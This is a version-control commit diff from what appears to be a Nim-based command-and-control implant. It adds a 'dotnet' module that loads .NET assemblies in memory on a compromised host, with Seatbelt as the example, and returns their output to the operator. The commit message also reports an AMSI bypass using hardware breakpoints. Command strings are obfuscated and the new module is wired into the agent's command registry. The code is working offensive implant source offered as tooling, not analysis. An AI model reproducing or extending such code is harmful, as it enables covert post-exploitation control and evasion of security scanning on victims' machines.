Implemented 'dotnet' command for execute-assembly functionality. Patched AMSI using HWBP
This commit is contained in:
63
src/modules/dotnet.nim
Normal file
63
src/modules/dotnet.nim
Normal file
@@ -0,0 +1,63 @@
|
||||
import ../common/[types, utils]
|
||||
|
||||
# Define function prototype
|
||||
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
# Command definition (as seq[Command])
|
||||
let commands*: seq[Command] = @[
|
||||
Command(
|
||||
name: protect("dotnet"),
|
||||
commandType: CMD_DOTNET,
|
||||
description: protect("Execute a .NET assembly in memory and retrieve the output."),
|
||||
example: protect("dotnet /path/to/Seatbelt.exe antivirus"),
|
||||
arguments: @[
|
||||
Argument(name: protect("path"), description: protect("Path to the .NET assembly file to execute."), argumentType: BINARY, isRequired: true),
|
||||
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the assembly. Arguments are handled as STRING"), argumentType: STRING, isRequired: false)
|
||||
],
|
||||
execute: executeAssembly
|
||||
)
|
||||
]
|
||||
|
||||
# Implement execution functions
|
||||
when defined(server):
|
||||
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import strutils, strformat
|
||||
import ../agent/core/clr
|
||||
import ../agent/protocol/result
|
||||
import ../common/[utils, serialize]
|
||||
|
||||
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
var
|
||||
assembly: seq[byte]
|
||||
arguments: seq[string]
|
||||
|
||||
# Parse arguments
|
||||
case int(task.argCount):
|
||||
of 1: # Only the assembly has been passed as an argument
|
||||
assembly = task.args[0].data
|
||||
arguments = @[]
|
||||
else: # Parameters were passed to the BOF execution
|
||||
assembly = task.args[0].data
|
||||
for arg in task.args[1..^1]:
|
||||
arguments.add(Bytes.toString(arg.data))
|
||||
|
||||
# Unpacking assembly file, since it contains the file name too.
|
||||
var unpacker = Unpacker.init(Bytes.toString(assembly))
|
||||
let
|
||||
fileName = unpacker.getDataWithLengthPrefix()
|
||||
assemblyBytes = unpacker.getDataWithLengthPrefix()
|
||||
|
||||
echo fmt" [>] Executing .NET assembly {fileName}."
|
||||
let (assemblyInfo, output) = dotnetInlineExecuteGetOutput(string.toBytes(assemblyBytes), arguments)
|
||||
|
||||
if output != "":
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(assemblyInfo & "\n" & output))
|
||||
else:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
@@ -52,10 +52,8 @@ when defined(agent):
|
||||
# Create result packet for file download
|
||||
var packer = Packer.init()
|
||||
|
||||
packer.add(uint32(filePath.len()))
|
||||
packer.addData(string.toBytes(filePath))
|
||||
packer.add(uint32(fileBytes.len()))
|
||||
packer.addData(string.toBytes(fileBytes))
|
||||
packer.addDataWithLengthPrefix(string.toBytes(filePath))
|
||||
packer.addDataWithLengthPrefix(string.toBytes(fileBytes))
|
||||
|
||||
let result = packer.pack()
|
||||
|
||||
|
||||
@@ -9,6 +9,7 @@ import
|
||||
filetransfer,
|
||||
environment,
|
||||
bof,
|
||||
dotnet,
|
||||
screenshot
|
||||
|
||||
type
|
||||
@@ -31,6 +32,7 @@ proc loadModules*() =
|
||||
registerCommands(filetransfer.commands)
|
||||
registerCommands(environment.commands)
|
||||
registerCommands(bof.commands)
|
||||
registerCommands(dotnet.commands)
|
||||
registerCommands(screenshot.commands)
|
||||
|
||||
proc getCommandByType*(cmdType: CommandType): Command =
|
||||
|
||||
Reference in New Issue
Block a user